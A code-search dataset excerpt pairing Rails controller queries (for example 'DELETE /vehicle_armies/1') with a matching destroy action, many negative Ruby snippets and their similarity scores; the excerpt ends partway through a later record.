query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
DELETE /vehicle_armies/1 DELETE /vehicle_armies/1.json
def destroy @vehicle_army.destroy respond_to do |format| format.html { redirect_to vehicle_armies_url, notice: (t 'vehicle_armies.title')+(t 'actions.removed') } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n vehicle = Vehicle.where(uid: params[:id]).first\n # vehicle.locations.destroy_all\n vehicle.destroy\n render nothing: true, :status =>204\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle.destroy\n render json: { status: 'Vehicle was successfully destroyed' }, status: :ok\n end", "def destroy\n\t\tcreate_audit __method__, 'vehicle', @vehicle.id\n\t\t@vehicle.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to vehicles_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def destroy\n @load_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to load_vehicle_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @chase_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @chase_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_model.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_models_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @media_vehicle = MediaVehicle.find(params[:id])\n @media_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to media_vehicles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(fleet_vehicles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vehcile.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_realtime.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_realtimes_url, notice: 'Vehicle realtime was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @railway = Railway.find(params[:id])\n @railway.destroy\n\n respond_to do |format|\n format.html { redirect_to railways_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'El vehículo seleccionado fue eliminado' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicletype.destroy\n respond_to do |format|\n format.html { redirect_to vehicletypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicles_url) }\n format.xml { head :ok }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def deleteVehicle _args\n \"deleteVehicle _args;\" \n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @vehicle_type.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end", "def destroy\n @droparea = Droparea.find(params[:id])\n @droparea.destroy\n @vehicle = Vehicle.find(1)\n\n respond_to do |format|\n format.html { redirect_to edit_post_url(@vehicle) }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_model.destroy\n\n render :nothing => true\n end", "def destroy\n @railcar.destroy\n respond_to do |format|\n format.html { redirect_to railcars_url, notice: 'Railcar was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stolen_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to stolen_vehicles_url, notice: 'Stolen vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehiclepermit.destroy\n respond_to do |format|\n format.html { redirect_to permits_url, notice: 'Permit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sub_vehicle = SubVehicle.find(params[:id])\n @sub_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(sub_vehicles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vehicle_boat_part.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_boat_parts_url, notice: 'Vehicle boat part was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_end_of_life.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_end_of_lives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_info.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_infos_url, notice: 'Vehicle info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n # @vehicle is retrieved in before_filter acquire_vehicle\n @vehicle.destroy\n\n if @vehicle.destroyed?\n logger.info(\"deleted Vehicle #{@vehicle.id}.\")\n respond_to do |format|\n format.html { redirect_to vehicles_path }\n format.json { render json: { success: true, vehicle: @vehicle } }\n end\n else\n logger.error(\"Cannot delete Vehicle #{@vehicle.id}.\")\n flash.now[:alert] = I18n.t(\"controllers.vehicle.flash_message.can_not_delete\")\n respond_to do |format|\n format.html { render :show }\n format.json { render json: { success: false, \n vehicle: @vehicle,\n msg: (@vehicle.errors.present? ?\n @vehicle.errors.full_messages :\n I18n.t(\"controllers.vehicle.flash_message.can_not_delete\")) } }\n end\n end\n end", "def destroy\n @vehicle_submodel.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_submodels_url, notice: 'Vehicle submodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @food_truck.destroy\n respond_to do |format|\n format.html { redirect_to food_trucks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_historic = VehicleHistoric.find(params[:id])\n @vehicle_historic.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicle_historics_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @medium_road = MediumRoad.find(params[:id])\n @medium_road.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_roads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ride_driver.destroy\n respond_to do |format|\n format.html { redirect_to @root }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end", "def destroy\n @admin_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to session['previous_url'] || admin_vehicles_url, notice: \"#{italian_type[@vehicle_type.to_sym]} cancellata con successo!.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @road = Road.find(params[:id])\n @road.destroy\n\n respond_to do |format|\n format.html { redirect_to roads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sims_biga_vehicle_person.destroy\n respond_to do |format|\n format.html { redirect_to sims_biga_vehicle_people_url, notice: t('flash.notice.destroied.') }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n @rayon = Rayon.find(params[:id])\n @rayon.destroy\n\n respond_to do |format|\n format.html { redirect_to rayons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n begin\n Vehicle.find_by_id(params[:id]).destroy\n flash[:notice] = \"Vehicle deleted successfully\"\n redirect_to action: :index\n rescue \n render_404\n end\n end", "def destroy\n @motorbike = Motorbike.find(params[:id])\n @motorbike.destroy\n\n respond_to do |format|\n format.html { redirect_to motorbikes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @roadstop.destroy\n respond_to do |format|\n format.html { redirect_to roadstops_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @check_vehicle_status.destroy\n respond_to do |format|\n format.html { redirect_to check_vehicle_statuses_url, notice: 'Check vehicle status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_reservation.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_reservations_url, notice: 'Reserva excluída com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lease = Lease.find(params[:id])\n\n car = Car.where(:registration => @lease.registration).first\n car.update_attributes(:longtermassigned => false)\n \n @lease.destroy\n\n respond_to do |format|\n format.html { redirect_to cars_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to user_vehicles_url, notice: 'User vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @long_arm.destroy\n respond_to do |format|\n format.html { redirect_to long_arms_url, notice: 'Long arm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vocalium = Vocalium.find(params[:id])\n @vocalium.destroy\n\n respond_to do |format|\n format.html { redirect_to vocalia_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @vehicle_card.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_cards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @maintenance_item.destroy\n respond_to do |format|\n format.html { redirect_to controller: \"maintenance_records\", action: \"edit\", id: Vehicle.find_by(id: params[:vid]).maintenance_record.id, vid: params[:vid], notice: 'Maintenance item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n begin\n Vehicle.find_by_id(params[:id]).destroy\n flash[:notice] = \"Vehicle deleted successfully\"\n redirect_to action: :index\n rescue ActiveRecord::RecordNotFound\n render_404\n end\n end", "def destroy\n @arthicle.destroy\n respond_to do |format|\n format.html { redirect_to arthicles_url, notice: 'Arthicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @galactic_arm.destroy\n respond_to do |format|\n format.html { redirect_to galactic_arms_url, notice: 'Galactic arm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @broad = Broad.find(params[:id])\n @broad.destroy\n\n respond_to do |format|\n format.html { redirect_to broads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ball_flight_item = BallFlightItem.find(params[:id])\n @ball_flight_item.destroy\n\n respond_to do |format|\n format.html { redirect_to ball_flight_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @vacancy = Vacancy.find(params[:id])\n @vacancy.destroy\n\n respond_to do |format|\n format.html { redirect_to vacancies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @caricullum = Caricullum.find(params[:id])\n @caricullum.destroy\n\n respond_to do |format|\n format.html { redirect_to caricullums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @opttruck.destroy\n respond_to do |format|\n format.html { redirect_to opttrucks_url }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @riesgo.destroy\n respond_to do |format|\n format.html { redirect_to riesgos_url, notice: 'Riesgo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @vrabat = Vrabat.find(params[:id])\n @vrabat.destroy\n\n respond_to do |format|\n format.html { redirect_to vrabats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicel = @user.vehicels.find(params[:id])\n @vehicel.destroy\n respond_to do |format|\n format.html { redirect_to user_vehicels_path(@user) }\n format.json { head :no_content }\n end\n end", "def delete(vmname)\n uri = @uri + \"/#{vmname}?api-version=#{api_version}\"\n uri\n end", "def destroy\n @formulary = Formulary.find(params[:id])\n @formulary.destroy\n\n respond_to do |format|\n format.html { redirect_to formularies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @vehicle.destroy\n redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.'\n end\n end", "def destroy\n @motor_bike.destroy\n respond_to do |format|\n format.html { redirect_to motor_bikes_url, notice: 'Motor bike was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plate.destroy\n respond_to do |format|\n format.html { redirect_to client_budget_mobile_url(@client, @budget, @mobile), notice: \"Chapa deletada com sucesso.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallroad = Mostsmallroad.find(params[:id])\n @mostsmallroad.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallroads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @beacon = Beacon.find(params[:id])\n @beacon.destroy\n\n respond_to do |format|\n format.html { redirect_to beacons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicle_class = VehicleClass.find(params[:id])\n @vehicle_class.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_classes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @mob.destroy\n respond_to do |format|\n format.html { redirect_to mobs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @astronomium.destroy\n respond_to do |format|\n format.html { redirect_to astronomia_url, notice: 'Astronomium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @equipment_line_item.destroy\n respond_to do |format|\n format.html { redirect_to equipment_line_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bride.destroy\n respond_to do |format|\n format.html { redirect_to brides_url, notice: 'Bride was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stage_drymass = StageDrymass.find(params[:id])\n @stage_drymass.destroy\n\n respond_to do |format|\n format.html { redirect_to stage_drymasses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vehicule_perso = VehiculePerso.find(params[:id])\n @vehicule_perso.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicule_persos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @car_wash.destroy\n respond_to do |format|\n format.html { redirect_to car_washes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flight.destroy\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flight.destroy\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flight.destroy\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_asset = ClientAsset.find(params[:id])\n client_name = @client_asset.client_name\n @client_asset.deleted = true\n @client_asset.deleted_at = Time.now\n @client_asset.save\n #@client_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to client_assets_url, notice: \"#{client_name}'s asset was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@ride = Ride.find(params[:id])\n @ride.destroy\n\n respond_to do |format|\n format.html { redirect_to rides_path }\n format.json { head :no_content }\n end\n end" ]
[ "0.74490505", "0.74421865", "0.7384246", "0.7384246", "0.7271506", "0.7171227", "0.7074418", "0.7062491", "0.7062491", "0.70617515", "0.70610195", "0.70610195", "0.70610195", "0.70610195", "0.69880515", "0.69810843", "0.6977454", "0.6972022", "0.6967757", "0.69393635", "0.6928721", "0.69241226", "0.69241226", "0.6886569", "0.68729156", "0.6869131", "0.6836734", "0.68352175", "0.68222255", "0.6789599", "0.67791486", "0.67760867", "0.6758041", "0.670584", "0.6693008", "0.66692805", "0.66690606", "0.66659915", "0.6665602", "0.6658634", "0.6656569", "0.6647292", "0.6641974", "0.66378546", "0.66345817", "0.6633443", "0.6633143", "0.66218007", "0.66178256", "0.66075623", "0.660612", "0.6600566", "0.6593129", "0.65895486", "0.65834904", "0.6577838", "0.65732074", "0.65665", "0.6563941", "0.6561925", "0.655899", "0.65588546", "0.65572643", "0.6554533", "0.6553772", "0.6548239", "0.65468985", "0.6545417", "0.6543646", "0.65426546", "0.6542054", "0.65398055", "0.652299", "0.65198493", "0.65194666", "0.6519041", "0.6517031", "0.6514776", "0.65137434", "0.6509576", "0.65071684", "0.650136", "0.65011966", "0.650059", "0.6492122", "0.64886326", "0.6488318", "0.6487229", "0.6473424", "0.64628863", "0.64596874", "0.64596", "0.6458711", "0.6455445", "0.64553905", "0.64523137", "0.64523137", "0.64523137", "0.6451054", "0.64501226" ]
0.73172456
4
Use callbacks to share common setup or constraints between actions.
def set_vehicle_army @vehicle_army = VehicleArmy.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def vehicle_army_params params.require(:vehicle_army).permit(:v_army_no) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n 